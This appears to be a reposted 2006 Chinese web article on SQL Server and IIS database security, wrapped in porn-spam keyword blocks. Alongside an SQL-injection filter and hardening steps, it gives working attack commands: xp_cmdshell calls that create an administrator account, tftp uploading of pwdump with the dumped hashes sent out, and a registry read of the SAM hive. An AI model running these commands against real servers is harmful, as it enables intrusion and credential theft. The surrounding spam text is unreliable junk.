国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

從IIS到SQL Server數(shù)據(jù)庫安全
2006-12-13   

從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了,大家還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫吧。

一般網(wǎng)站都是基于數(shù)據(jù)庫的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫來動態(tài)顯示的網(wǎng)站。很多網(wǎng)站可能多注意的是操作系統(tǒng)的漏洞,但是對數(shù)據(jù)庫和這些腳本的安全總是忽略,也沒有太多注意。

從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關(guān)于數(shù)據(jù)庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從SQL腳本問題說得非常詳細(xì)。對于腳本安全的解決,也可以通過過濾來實現(xiàn),可以參考我以前寫的。對于ASP來說,可以使用下面這個過濾函數(shù):

Function Filter_SQL(strData)

Dim strFilter
Dim blnFlag
Dim i

strFilter="',;,//,--,@,_,exec,declare" '需要過濾的字符,可以自己添加,","是分隔符
blnFlag=Flase '過濾標(biāo)志,如果產(chǎn)生過濾,那么就是真

Dim arrayFilter
arrayFilter=Split(strFilter,",")
For i=0 To UBound(arrayFilter)
If Instr(strData,arrayFilter(i))>0 Then
blnFlag=True
Exit For
End If
Next

If blnFlag Then
Response.Redirect "wrong.asp"
'當(dāng)發(fā)現(xiàn)有過濾操作時,導(dǎo)向一個預(yù)定頁面。反正正常訪問用不到的連接請求,總不是好事情。
Else
Filter_SQL=strData
End If

End Function

對于MS SQL Server數(shù)據(jù)庫來說,安全問題不僅僅局限在腳本上了。“天殺的微軟”的系統(tǒng)性很強(qiáng),整個基于WINDOWS系統(tǒng)的應(yīng)用都有很強(qiáng)的關(guān)聯(lián)性,對SQL Server來說,基本可以把數(shù)據(jù)庫管理和系統(tǒng)管理等同起來了。SQL Server默認(rèn)的管理員帳號“sa”的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個安全漏洞。小榕的“SQLRCMD”,就能夠利用獲得的數(shù)據(jù)庫管理員帳號執(zhí)行系統(tǒng)命令。

在SQL Server中有很多系統(tǒng)存儲過程,有些是數(shù)據(jù)庫內(nèi)部使用的,還有一些就是通過執(zhí)行存儲過程來調(diào)用系統(tǒng)命令。

系統(tǒng)存儲過程:xp_cmdshell

就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語法是:xp_cmdshell {'command_string'} [, no_output]

xp_cmdshell在默認(rèn)情況下,只有 sysadmin 的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個執(zhí)行權(quán)限。在早期版本中,獲得 xp_cmdshell 執(zhí)行權(quán)限的用戶在 SQL Server 服務(wù)的用戶帳戶中運(yùn)行命令。可以通過配置選項配置 SQL Server,以便對 SQL Server 無 sa 訪問權(quán)限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運(yùn)行 xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec。現(xiàn)在對于SQL Server2000,只要有一個能執(zhí)行該存儲過程的帳號就可以直接運(yùn)行命令了。

對于 NT 和 WIN2000,當(dāng)用戶不是 sysadmin 組的成員時,xp_cmdshell 將模擬使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則 xp_cmdshell 將失敗。所以即使有一個帳戶是master數(shù)據(jù)庫的db_owner,也不能執(zhí)行這個存儲過程。

如果我們有一個能執(zhí)行xp_cmdshell的數(shù)據(jù)庫帳號,比如是空口令的sa帳號。那么我們可以執(zhí)行這樣的命令:

exec xp_cmdshell 'net user refdom 123456 /add'
exec xp_cmdshell 'net localgroup administrators refdom /add'

上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個用戶:refdom

當(dāng)我們獲得數(shù)據(jù)庫的sa管理員帳號后,就應(yīng)該可以完全控制這個機(jī)器了。可見數(shù)據(jù)庫安全的重要性。

下面這些存儲過程都是對Public可以執(zhí)行的:
xp_fileexist,用來確定一個文件是否存在。
xp_getfiledetails,可以獲得文件詳細(xì)資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname,可以獲得服務(wù)器名稱。

還有可以操作注冊表的存儲過程,這些不是對Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread (對Public可以執(zhí)行)
Xp_regremovemultistring
Xp_regwrite

SQL Server的安全配置

除跟著微軟打滿所有補(bǔ)丁外,還需要加強(qiáng)數(shù)據(jù)庫的安全。
首先,你需要加強(qiáng)象sa這樣的帳號的密碼,跟系統(tǒng)帳號的使用配置相似,一般操作數(shù)據(jù)庫不要使用象sa這樣的最高權(quán)限的帳號,而使用能滿足你的要求的一般帳號。

接著對擴(kuò)展存儲過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲過程,都drop吧,一般也用不著。

執(zhí)行:
use master
sp_dropextendedproc 'xp_cmdshell'

去掉guest帳號,阻止非授權(quán)用戶訪問。

去掉不必要的網(wǎng)絡(luò)協(xié)議。

加強(qiáng)對數(shù)據(jù)庫登陸的日志記錄,最好記錄所有登陸事件。可以用下面的簡單DOS命令來查看日志:

findstr /C:"登錄" d:\Microsoft SQL Server\MSSQL\LOG\*.*

用管理員帳號定期檢查所有帳號,是否密碼為空或者過于簡單,比如下面的語句:

Use master
Select name,Password from syslogins where password is null

用下面語句對所有帳號,檢查對存儲過程和擴(kuò)展存儲過程的執(zhí)行權(quán),提防不必要的執(zhí)行權(quán)限擴(kuò)散:

Use master
Select sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN ('X','P') AND sysobjects.id = sysprotects.id

加強(qiáng)數(shù)據(jù)庫的安全是非常重要的,有的數(shù)據(jù)庫服務(wù)器是和WEB服務(wù)器隔離開的,這就同MAIL服務(wù)器一樣,數(shù)據(jù)庫的日志可能就基本很少去查看,這將會成為管理員的一個疏忽點(diǎn)。類似DNS、MAIL等等,數(shù)據(jù)庫服務(wù)器往往成為各種入侵的跳板。

下面是一些關(guān)于數(shù)據(jù)庫的問答和技巧:

1、獲得SA權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲過程怎么辦?
答:可能是已經(jīng)把xp_cmdshell等擴(kuò)展存儲過程刪除了,可以用這個存儲過程把xp_cmdshell恢復(fù)。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

2、通過數(shù)據(jù)庫用pwdump獲得系統(tǒng)管理員密碼先上傳一個pwdump
tftp -i GET pwdump3.exe pwdump3.exe
tftp -i GET lsaext.dll lsaext.dll
tftp -i GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp PUT outfile.txt outfile.txt
然后再用解密工具l0pht等等破解這些密碼。

3、從數(shù)據(jù)庫讀取系統(tǒng)管理員密碼。
能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL Server能讀出來是使用的“LocalSystem”帳號,這個帳號比administrator更高一級。可以使用下面這個存儲過程。不過讀出來的密碼是經(jīng)過加密后的,然后再解密吧。
xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account','F'


熱詞搜索:

上一篇:關(guān)于SQL SERVER的一些安全問題
下一篇:數(shù)據(jù)庫安全審計

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国内精品久久久久影院薰衣草 | 亚洲三级免费电影| 亚洲综合丁香婷婷六月香| 久久精品国产一区二区| 91九色02白丝porn| 国产精品久久毛片a| 久久国产欧美日韩精品| 欧美日韩一区二区三区视频| 中文字幕电影一区| 国产风韵犹存在线视精品| 日韩美一区二区三区| 午夜精品久久久久影视| 91亚洲大成网污www| 国产精品久久久久久久久免费桃花 | 亚洲成人av一区二区| www.亚洲精品| 国产婷婷一区二区| 韩国女主播一区二区三区| 正在播放亚洲一区| 亚洲sss视频在线视频| 色又黄又爽网站www久久| 国产精品久久久久久妇女6080| 国产一区二区福利| 久久久亚洲综合| 国产成人亚洲综合a∨猫咪| 日韩精品一区二区三区在线播放| 日本不卡免费在线视频| 国产婷婷一区二区| 国产一区二区久久| 久久香蕉国产线看观看99| 国产一区二区三区四区五区美女 | 91九色02白丝porn| 亚洲综合在线第一页| 欧美中文字幕一区二区三区亚洲| 亚洲人亚洲人成电影网站色| 91丨porny丨国产入口| 亚洲欧美偷拍三级| 欧美日韩视频在线第一区| 亚洲在线一区二区三区| 欧美网站一区二区| 免费观看日韩av| 精品欧美乱码久久久久久1区2区| 国产永久精品大片wwwapp| 久久这里只精品最新地址| 国产·精品毛片| 亚洲精品videosex极品| 精品污污网站免费看| 老司机免费视频一区二区三区| 久久亚洲免费视频| 91浏览器入口在线观看| 亚洲动漫第一页| 欧美电视剧在线看免费| 福利一区二区在线观看| 亚洲黄色小说网站| 日韩一区二区三免费高清| 国产一区二区不卡老阿姨| 1000精品久久久久久久久| 欧美丰满高潮xxxx喷水动漫| 国产精品一区免费视频| 一区二区三区在线高清| 欧美一区二区三区免费视频| 成人综合激情网| 午夜伊人狠狠久久| 国产日韩欧美高清| 欧美伦理视频网站| 成人高清免费观看| 日韩一区精品视频| 国产精品女主播av| 欧美美女直播网站| 成人av在线影院| 日本不卡视频在线观看| 亚洲人成伊人成综合网小说| 欧美不卡视频一区| 欧美日韩国产天堂| 99久久er热在这里只有精品66| 日本中文字幕一区二区有限公司| 国产精品久久久久天堂| 欧美精品一区二区在线观看| 欧美日韩在线播放三区四区| 不卡区在线中文字幕| 九九视频精品免费| 亚洲精品免费在线观看| 久久久91精品国产一区二区精品 | 国产精品久久久久毛片软件| 日韩一区二区免费电影| 欧美自拍偷拍午夜视频| 国产91精品久久久久久久网曝门 | 久久色成人在线| 91麻豆精品国产91久久久久久| 精品国产一区二区三区不卡 | 亚洲欧美在线aaa| 日韩欧美成人一区二区| 欧美色网站导航| 色综合中文字幕国产 | 国产欧美中文在线| 欧美成人精品二区三区99精品| 色婷婷综合久久久久中文| 国产黑丝在线一区二区三区| 蜜臀久久99精品久久久画质超高清| 一区二区三区四区激情| 亚洲视频一区二区在线观看| 国产精品五月天| 国产欧美一区视频| 国产免费成人在线视频| 欧美激情一区二区三区在线| 久久综合中文字幕| 2021久久国产精品不只是精品| 日韩一级黄色片| 欧美一级免费大片| 欧美一区二区精品久久911| 欧美丰满少妇xxxbbb| 欧美日韩亚洲不卡| 91精品国产综合久久香蕉麻豆| 欧美军同video69gay| 欧美日韩一级视频| 91精品国产91久久综合桃花| 欧美丰满美乳xxx高潮www| 欧美一区中文字幕| 欧美大尺度电影在线| 久久这里只有精品首页| 久久免费的精品国产v∧| 久久久久久久综合日本| 日本一二三四高清不卡| 国产精品久久久久一区| 一区二区三区四区国产精品| 亚洲成a人片在线观看中文| 免费在线看成人av| 国产在线视频一区二区三区| 国产精品69毛片高清亚洲| 99re66热这里只有精品3直播 | 26uuu亚洲综合色欧美| 国产午夜一区二区三区| 综合欧美亚洲日本| 日韩黄色在线观看| 国产自产高清不卡| 91香蕉视频污在线| 欧美精品 日韩| 国产人伦精品一区二区| 亚洲男同性视频| 久久99精品久久久久久国产越南| 成人午夜在线视频| 欧美视频精品在线| 久久久综合视频| 亚洲国产日韩一级| 国产成人精品影院| 欧美三级中文字幕在线观看| 欧美精品一区二区三区蜜臀| 亚洲女性喷水在线观看一区| 免播放器亚洲一区| 91论坛在线播放| 欧美精品一区二区三区很污很色的| 中文字幕亚洲区| 色94色欧美sute亚洲线路二| 欧美一区二区黄色| 亚洲视频在线一区观看| 久久av老司机精品网站导航| 91久久一区二区| 久久久久久久综合色一本| 亚洲一区二区精品视频| 成人天堂资源www在线| 欧美顶级少妇做爰| 亚洲视频免费看| 国产成人午夜电影网| 91.xcao| 亚洲尤物视频在线| 大尺度一区二区| 精品国产精品网麻豆系列| 一区二区三区四区在线播放| 国产精一区二区三区| 51精品久久久久久久蜜臀| 亚洲私人黄色宅男| 懂色av噜噜一区二区三区av| 精品女同一区二区| 日韩国产欧美在线视频| 欧美三级电影精品| 亚洲欧美怡红院| 国产成人a级片| 精品国产1区二区| 视频一区在线视频| 欧美午夜寂寞影院| 亚洲综合一区在线| 色综合中文综合网| 色琪琪一区二区三区亚洲区| 欧美激情在线免费观看| 国产米奇在线777精品观看| 91精品国产综合久久久久久漫画| 亚洲一区二区不卡免费| 色天天综合色天天久久| 亚洲视频在线一区二区| 成人av网站免费观看| 欧美高清在线一区| 不卡高清视频专区| 国产精品久久毛片a| 99久免费精品视频在线观看| 国产精品久久久99| 色综合久久综合网97色综合 | 国产精品嫩草99a| jizz一区二区| 亚洲精品免费一二三区| 欧美亚洲综合在线|